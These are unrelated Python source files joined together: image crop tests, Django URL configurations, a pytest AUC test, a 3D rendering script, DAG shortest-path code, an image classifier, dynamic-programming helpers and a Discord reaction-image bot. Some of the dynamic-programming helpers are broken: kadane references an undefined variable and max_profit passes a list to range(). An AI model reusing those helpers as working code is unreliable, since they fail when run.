        self.assertTupleEqual((1000, 500), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((1000, 500), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((1000, 500), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((1000, 500), image_bmp.size)

    def test_error_with_out_of_range(self):
        crop = CropFilter(start=[1000, 1000], size=[1500, 1000])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((1000, 500), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((1000, 500), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((1000, 500), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((1000, 500), image_bmp.size)


from django.urls import path
from blog.views import (
    blog_home_view,
    create_blog_view,
    detail_blog_view,
    edit_blog_view,
)

#   Whenever url file is created that is not in the main url file (i.e. its in an app like 'blog'), it must have an 'app_name' parameter
app_name = 'blog'

urlpatterns = [
    path('', blog_home_view, name = "blog_home"),
    path('create/', create_blog_view, name =  "create"),
    #   '<slug>' will make the url the slug name of the blog post
    path('<slug>/', detail_blog_view, name =  "detail"),
    path('<slug>/edit', edit_blog_view, name =  "edit"),
]


"""
unit tests for eval.py
"""

from typing import List

import pytest

from text_classification.dataset_utils import InputMultilabelExample, OutputMultilabelExample
from ood_transformers import eval

@pytest.mark.usefixtures("input_multilabel_examples")
def test_incorrect_prediction_aucs(
    input_multilabel_examples: List[InputMultilabelExample]) -> None:
    """
    test that incorrect_prediction_aucs generates
    the expected AUC values for some dummy data
    """

    test_examples = input_multilabel_examples
    # generate some dummy data
    test_examples = [
        InputMultilabelExample(
            test_example.guid,
            test_example.text,
            ["Label 0", "Label 1"]
        )
        for test_example in test_examples
    ]
    prediction_examples = [
        OutputMultilabelExample(
            test_example.guid,
            test_example.text,
            ["Label 0", "Label 1", "Label 2", "Label 3"],
            [0.9, 0.1, 0.9, 0.1]
        )
        for test_example in test_examples
    ]

    positive_auc, negative_auc = eval.incorrect_prediction_aucs(
        test_examples,
        prediction_examples,
        lambda confidence: confidence >= 0.5,
        lambda confidence: confidence < 0.5)

    assert positive_auc == 0.5
    assert negative_auc == 0.5


from django.conf.urls import url
from django.shortcuts import redirect
from django.views.decorators.csrf import csrf_exempt
from django.contrib.auth.views import login, logout
from app.views import send_morsel, start_hunt, MorselList, MorselDetailView,\
register, create_morsel, HomePageView, FAQPageView, AboutPageView,\
newsletter_signup, edit_morsel, morsel_list_public

app_name = 'app'
urlpatterns = [
    url(r'^$', HomePageView.as_view(), name='home'),
    url(r'^morsels/$', MorselList.as_view(), name='morsel_list'),
    url(r'^morsels_public/$', morsel_list_public, name='morsel_list_public'),
    url(r'^morsels/send/$', send_morsel, name='morsel_send'),
    url(r'^morsels/(?P<morsel_id>[0-9]+)/start_hunt/$', start_hunt, name='start_hunt'),
    url(r'^register/', register, name='register'),
    url(r'^faq/$', FAQPageView.as_view(), name='faq'),
    url(r'^about/$', AboutPageView.as_view(), name='about'),
    url(r'^morsels/create/$', create_morsel, name="create_morsel"),
    url(r'^morsels/(?P<morsel_id>[0-9]+)/edit/$', edit_morsel, name='edit_morsel'),
    url(r'^morsels/(?P<pk>[0-9]+)/display/$', MorselDetailView.as_view(), name='morsel_detail'),
    url(r'^newsletter_signup/$', newsletter_signup, name='newsletter_signup')
]


import mmcv
import os.path as osp
import numpy as np
import sys
from transforms3d.axangles import axangle2mat
import torch

cur_dir = osp.dirname(osp.abspath(__file__))
sys.path.insert(0, osp.join(cur_dir, "../../../../"))

from core.utils.utils import allocentric_to_egocentric
from lib.egl_renderer.egl_renderer_v3 import EGLRenderer

model_dir = "datasets/BOP_DATASETS/lm/models/"

obj_id = 2
model_paths = [osp.join(model_dir, f"obj_{obj_id:06d}.ply")]
texture_paths = None  # [osp.join(model_dir, f"obj_{obj_id:06d}.png")]

height = 480
width = 640
# K = np.array([[1066.778, 0.0, 312.9869], [0.0, 1067.487, 241.3109], [0.0, 0.0, 1.0]])
K = np.array([[572.4114, 0, 325.2611], [0, 573.57043, 242.04899], [0, 0, 1]])
ren = EGLRenderer(
    model_paths,
    vertex_scale=0.001,
    use_cache=True,
    width=width,
    height=height,
    K=K,
    texture_paths=texture_paths,
)

tensor_kwargs = {"device": torch.device("cuda"), "dtype": torch.float32}
image_tensor = torch.empty((height, width, 4), **tensor_kwargs).detach()

R1 = axangle2mat((1, 0, 0), angle=0.5 * np.pi)
R2 = axangle2mat((0, 0, 1), angle=-0.5 * np.pi)
R = np.dot(R1, R2)
z = 0.7
t = np.array([0, 0, z], dtype=np.float32)
t1 = np.array([-0.25, 0, z], dtype=np.float32)
t2 = np.array([0.25, 0, z], dtype=np.float32)
pose = np.hstack([R, t.reshape((3, 1))])
pose1 = np.hstack([R, t1.reshape((3, 1))])
pose2 = np.hstack([R, t2.reshape((3, 1))])

cam_ray = (0, 0, 1)
allo_pose = allocentric_to_egocentric(pose, cam_ray=cam_ray)
allo_pose1 = allocentric_to_egocentric(pose1, cam_ray=cam_ray)
allo_pose2 = allocentric_to_egocentric(pose2, cam_ray=cam_ray)

background = np.ones((height, width, 3), dtype="uint8") * 255

ren.render(
    [0, 0, 0],
    [pose1, pose, pose2],
    image_tensor=image_tensor,
    background=background,
)
im_ego = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype("uint8")
# grid_show([im_ego[:,:,::-1]], ["im_ego"], row=1, col=1)

# ren.render([0], [pose1], image_tensor=image_tensor)
# im_ego1 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')
#
# ren.render([0], [pose2], image_tensor=image_tensor)
# im_ego2 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')

ren.render(
    [0, 0, 0],
    [allo_pose1, allo_pose, allo_pose2],
    image_tensor=image_tensor,
    background=background,
)
im_allo = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype("uint8")
# ren.render([0], [allo_pose1], image_tensor=image_tensor)
# im_allo1 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')
# ren.render([0], [allo_pose2], image_tensor=image_tensor)
# im_allo2 = (image_tensor[:, :, :3].detach().cpu().numpy() + 0.5).astype('uint8')

# grid_show([im_ego1[:, :, ::-1], im_ego[:, :, ::-1], im_ego2[:, :, ::-1],
#            im_allo1[:, :, ::-1], im_allo[:, :, ::-1], im_allo2[:, :, ::-1]],
#           ["ego1", "ego", "ego2",
#            "allo1", "allo", "allo2"],
#           row=2, col=3)
# grid_show([im_ego[:, :, ::-1],  im_allo[:, :, ::-1]],
#           ["ego",
#            "allo"],
#           row=1, col=2)

mmcv.imwrite(im_ego, "output/ego.png")
mmcv.imwrite(im_allo, "output/allo.png")


# O(m+n)

"""
Algoritmi pentru grafuri orientate fără circuite (cu ponderi reale) -> DAGs = Directed Acyclic Graphs
Pentru drumuri minime de sursa unica in grafuri aciclice.
Daca vrem drumuri maxime in grafuri aciclice modificam initializarea distantelor la -inf si schimbam semnul comparatiei.
"""
from collections import deque

def sortare_topologica():
    ordine_topologica = []
    q = deque()
    indegree = {nod: 0 for nod in graph}

    for nod in graph:
        for vecin in graph[nod]:
            indegree[vecin[0]] += 1

    for nod in indegree:
        if indegree[nod] == 0:
            q.append(nod)

    # BFS
    while q:
        nod = q.popleft()
        ordine_topologica.append(nod)

        for vecin in graph[nod]:
            indegree[vecin[0]] -= 1

            if indegree[vecin[0]] == 0:
                q.append(vecin[0])

    return ordine_topologica

if __name__ == '__main__':
    graph = {1: [(5, 2), (6, 1)], 2: [], 3: [(5, 4), (2, 3)], 4: [(2, 7)], 5: [(2, 1), (4, 6)], 6: [(2, 2)]}

    start = 1
    dist = [float("inf")] * (len(graph) + 1)
    tata = [0] * (len(graph) + 1)
    dist[start] = 0

    sort_top = sortare_topologica()

    for nod in sort_top:
        for vecin, cost in graph[nod]:
            if dist[nod] + cost < dist[vecin]:
                dist[vecin] = dist[nod] + cost
                tata[vecin] = nod

    print(*dist)
    print(tata)


import pickle
import argparse
import cv2
import os
from pysensor.localbinarypatterns import LocalBinaryPatterns
from imutils import paths

ap = argparse.ArgumentParser()
ap.add_argument("-p", "--pickle" , required=True, help ="Pickle model treinado")
ap.add_argument("-e", "--testing", required=True, help ="Path para predict")

args=vars(ap.parse_args())

desc = LocalBinaryPatterns(24,4)

print(args["pickle"])

with open(args["pickle"], 'rb') as file:
    pickle_model = pickle.load(file)
    for imagePath in paths.list_images(args["testing"]):
        image = cv2.imread(imagePath)
        gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
        hist = desc.describe(gray)
        prediction= pickle_model.predict(hist.reshape(1,-1))

        print(prediction[0])
        cv2.putText(image,prediction[0],(10,30),cv2.FONT_HERSHEY_SIMPLEX,1.0,(0,0,255),2)
        cv2.imshow("Image",image)
        cv2.waitKey(0)
        cv2.destroyWindow("Image")


import itertools

def kadane(arr, func):
    a = b = 0
    for element in arr:
        if func == 'max_subarray':
            a = max(a + element, 0)
            b = max(a, b)
        elif func == 'house_robber':
            a, b = max(a, b + house), a
    if func == 'max_subarray':
        answer = 'b'
    return b if func == 'max_subarray' else a

def rob(houses):
    previous = current = 0
    for house in houses:
        previous, current = max(previous, current + house), previous
    return previous

def max_profit(k, prices):
    if k < len(prices)//2:
        profit = [0, -float('inf')]*k + [0]
        for i, price in enumerate(prices):
            for j in range(1, 2*k, 2):
                profit[j - 1] =  max(profit[j - 1], profit[j] + price)
                profit[j] = max(profit[j], profit[j + 1] - price)
        return profit[0]
    return sum(prices[i] - prices[i - 1] for i in range(1, prices)
        if prices[i - 1] < prices[i]
    )

def single_number(arr, k=2):
    m = len(bin(max(arr))) - 2
    counter = [0]*m
    single = 0
    for integer, i in itertools.product(arr, range(m)):
        if integer & 1<<i: counter[i] += 1
    for i, x in enumerate(counter):
        if x%k:
            single |= 1<<i
    return single

def wagner_fischer(matrix, base, left, top, each_cell):
    matrix[0][0] = base
    r = range(1, len(matrix))
    for i in r:
        matrix[i][0] = left(i)
    for j in range(1, len(matrix[0])):
        matrix[0][j] = top(j)
    for i in r:
        for j in range(1, len(matrix[i])):
            matrix[i][j] = each_cell(i, j)

def construct_prefix_sum(matrix):
    if matrix:
        prefix_sum = [[0] * (len(matrix[0]) + 1)
            for i in range(len(matrix) + 1)
        ]
        wagner_fischer(prefix_sum, 0, lambda i: 0, lambda j: 0,
            lambda i, j: (matrix[i - 1][j - 1] - prefix_sum[i - 1][j - 1]
                + prefix_sum[i - 1][j] + prefix_sum[i][j - 1]
            )
        )
        return prefix_sum
    return [[0]]

range_sum = lambda prefix_sum, r1, r2, c1, c2: (prefix_sum[r1][c1]
    - prefix_sum[r1][c2] - prefix_sum[r2][c1] + prefix_sum[r2][c2]
)

def hirschberg(x, y, base, left, top, each_cell, flexible=True):
    if flexible:
        y, x = sorted([x, y], key=len)
    m = len(y)
    dp = [[0]*m for k in range(2)]
    dp[0][0] = base
    r, q = range(1, len(x)), range(1, m)
    for j in q:
        dp[0][j] = top(dp, x, y, j)
    for i in r:
        dp[1][0] = left(dp, x, y, i)
        for j in q:
            dp[1][j] = each_cell(dp, x, y, i, j)
        dp[0] = dp[1][:]
    return dp[1][-1]

def lcs(x, y):
    return hirschberg(x, y, int(x[0] == y[0]),
        lambda dp, x, y, i: max(dp[0][0], int(x[i] == y[0])),
        lambda dp, x, y, j: max(dp[0][j - 1], int(x[0] == y[j])),
        lambda dp, x, y, i, j: max(dp[0][j], dp[1][j - 1],
            dp[0][j - 1] + int(x[i] == y[j])
        )
    )

def lps(s):
    r = range(len(s) + 1)
    return hirschberg(r, r, 0, lambda dp, x, y, i: 0,
        lambda dp, x, y, j: 0,
        lambda dp, x, y, i, j: max(dp[0][j], dp[1][j - 1]
        ) if s[i - 1] != s[-j] else dp[0][j - 1] + 1
    )


import discord
from discord.ext import commands
import random
import json
import io
import aiohttp
import asyncio

SECRET_CHANNEL_ID = 757398739223576646

class DictSpeak(commands.Cog):
    """
    Facilitates the managment of reaction images, gifs and so on.
    """

    def __init__(self, bot, command_prefix, dict_filenames, dict_names, dir_prefix, upload_channel_id=SECRET_CHANNEL_ID):
        self.bot = bot
        self.command_prefix = command_prefix
        self.upload_channel_id = upload_channel_id
        self.dir_prefix = dir_prefix

        # set up dictionaries
        self.init_dict(dict_filenames, dict_names)

    @commands.Cog.listener()
    async def on_ready(self):
        # check if the upload channel is available.
        self.upload_channel = self.bot.get_channel(self.upload_channel_id)

        if self.upload_channel is None:
            print('Error while finding the upload channel.')
            raise

    @commands.group()
    @commands.is_owner()
    async def react(self, ctx):
        if self.upload_channel is None:
            return await ctx.send('Please wait for the bot to be ready (channel not found).')

    @react.command(name='upload')
    async def upload_reaction_media(self, ctx, file_type, reaction_name, link):
        # download file using link provided
        async with aiohttp.ClientSession() as session:
            async with session.get(link) as resp:
                if resp.status != 200:
                    return await ctx.send('Error while downloading file.')
                data = io.BytesIO(await resp.read())

                # upload file to specified channel
                rfile = discord.File(data)
                rfile.filename = reaction_name + '.' + file_type
                message = await self.upload_channel.send(content=reaction_name, file=rfile)

        if message is None:
            return await ctx.send('Error while retrieving image message.')

    @react.command(name='add')
    async def add_reaction_to_dict(self, ctx, dict_name, reaction_name, link, option=None):
        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # add reaction if no reaction by the same name exists
        if reaction_name not in self.dict_dict[dict_name].keys():
            self.dict_dict[dict_name][reaction_name] = [link]
            await ctx.send('Added ' + reaction_name + ' to ' + dict_name + '.')
            return

        # handle situations where a reaction by the same name already exists
        if option == 'replace':
            self.dict_dict[dict_name][reaction_name] = [link]
            await ctx.send('Replaced ' + reaction_name + ' in ' + dict_name + '.')
        elif option == 'overload':
            self.dict_dict[dict_name][reaction_name].append(link)
            await ctx.send('Overloaded ' + reaction_name + ' in ' + dict_name + '.')
        else:
            await ctx.send('Error: another reaction with the same name already exists.')
        return

    @react.command(name='remove')
    async def remove_reaction_from_dict(self, ctx, dict_name, reaction_name):
        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # send error message if no such reaction exists
        if reaction_name not in self.dict_dict[dict_name]:
            await ctx.send('Error: No reaction named ' + reaction_name + ' found in ' + dict_name + '.')
            return

        self.dict_dict[dict_name].pop(reaction_name)
        await ctx.send('Removed ' + reaction_name + ' from ' + dict_name + '.')

    @react.command(name='rename')
    async def rename_reaction(self, ctx, dict_name, reaction_name, new_name):
        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # send error message if no such reaction exists
        if reaction_name not in self.dict_dict[dict_name]:
            await ctx.send('Error: No reaction named ' + reaction_name + ' found in ' + dict_name + '.')
            return

        self.dict_dict[dict_name][new_name] = self.dict_dict[dict_name][reaction_name]
        self.dict_dict[dict_name].pop(reaction_name)
        await ctx.send('Renamed ' + reaction_name + ' in ' + dict_name + ' to ' + new_name + '.')

    @react.command(name='move')
    async def move_reaction(self, ctx, reaction_name, old_dict_name, new_dict_name):
        # send error message if the source dictionary does not exist
        if old_dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + old_dict_name + ' found.')
            return

        # send error message if the destination dictionary does not exist
        if new_dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + new_dict_name + ' found.')
            return

        # send error message if no such reaction exists in the source dictionary
        if reaction_name not in self.dict_dict[old_dict_name]:
            await ctx.send('Error: No reaction named ' + reaction_name + ' found in ' + old_dict_name + '.')
            return

        # send error message if such a reaction already exists in the destination dictionary
        if reaction_name in self.dict_dict[new_dict_name]:
            await ctx.send('Error: another reaction with the same name already exists in ' + new_dict_name + '.')
            return

        self.dict_dict[new_dict_name][reaction_name] = self.dict_dict[old_dict_name][reaction_name]
        self.dict_dict[old_dict_name].pop(reaction_name)
        await ctx.send('Moved ' + reaction_name + ' in ' + old_dict_name + ' to ' + new_dict_name + '.')

    @react.command(name='save')
    async def save_dict_to_file(self, ctx, prefix=''):
        # save dictionaries to JSON files
        for name, dictionary in self.dict_dict.items():
            with open(self.dir_prefix + name + '.json', 'w', encoding='utf-8') as f:
                json.dump(dictionary, f, indent=4)

        await ctx.send('Saved dictionaries to file.')

    @commands.Cog.listener()
    async def on_message(self, message):

        # check if the prefix matches
        if len(message.content) == 0 or message.content[0] not in self.command_prefix:
            return

        # extract command name
        msg_tokens = message.content.split()
        cname = msg_tokens[0][1:]

        # search dictionaries for command
        for dictionary in self.dict_dict.values():

            # check if the command is in the dictionary
            if cname in dictionary.keys():

                # randomly select a message if the command is overloaded
                if len(dictionary[cname]) > 1:
                    await message.channel.send(random.choice(dictionary[cname]))
                else:
                    await message.channel.send(dictionary[cname][0])

    @commands.command(name='list')
    async def list_dict(self, ctx, dict_name=None, *args):
        # list dictionaries if no dict_name is given
        if dict_name is None:
            await ctx.send('List of dictionaries: \n```\n'
                            + '\n'.join([name for name in self.dict_dict.keys()])
                            + '```')
            return

        # send error message if no such dictionary exists
        if dict_name not in self.dict_dict.keys():
            await ctx.send('Error: No dictionary named ' + dict_name + ' found.')
            return

        # process args
        sort = False
        keep = False
        time = 60
        if 'sort' in args:
            sort = True
        if 'keep' in args:
            try:
                if args[args.index('keep') + 1] == 'forever':
                    keep = True
                else:
                    time = int(args[args.index('keep') + 1])
            except ValueError:
                await ctx.send('Error: Please provide a valid time value.')
                return
            except IndexError:
                keep = True

        # search using substring
        if 'search' in args:
            try:
                search_string = args[args.index('search') + 1]
            except IndexError:
                await ctx.send('Error: Please provide a search string.')
                return

            results = []
            for reaction in self.dict_dict[dict_name]:
                    if search_string  in reaction:
                        results.append(reaction)

            if len(results) == 0:
                await ctx.send('No search result found.')
                return

            if sort is True:
                results.sort()

            results = '\n'.join(results)
            message = await ctx.send('Search results in dictionary: \n```\n'
                                    + results
                                    + '```')

        else:
            # send the list of commands in the dictionary
            entries = [cname for cname in self.dict_dict[dict_name]]

            # sort entries if required
            if sort is True:
                entries.sort()

            entries = '\n'.join(entries)
            message = await ctx.send('List of entries in dictionary: \n```\n'
                            + entries
                                + '```')

        # delete message of dictionary list after a specified amount of time.
        if keep is False:
            await message.delete(delay=time)
            print('DictSpeak: Dictionary list message deleted.\n')

    def init_dict(self, filenames, names):
        # initialise an empty dictionary of dictionaries
        self.dict_dict = {}

        # load dictionaries
        for i, filename in enumerate(filenames):
            with open(self.dir_prefix + filename, 'r', encoding='utf-8') as f:
                dictionary = json.load(f)

            # turn all strings into lists
            for reaction in dictionary:
                if isinstance(dictionary[reaction], str):
                    dictionary[reaction] = [dictionary[reaction]]

            # store the dictionary with its name
            self.dict_dict[names[i]] = dictionary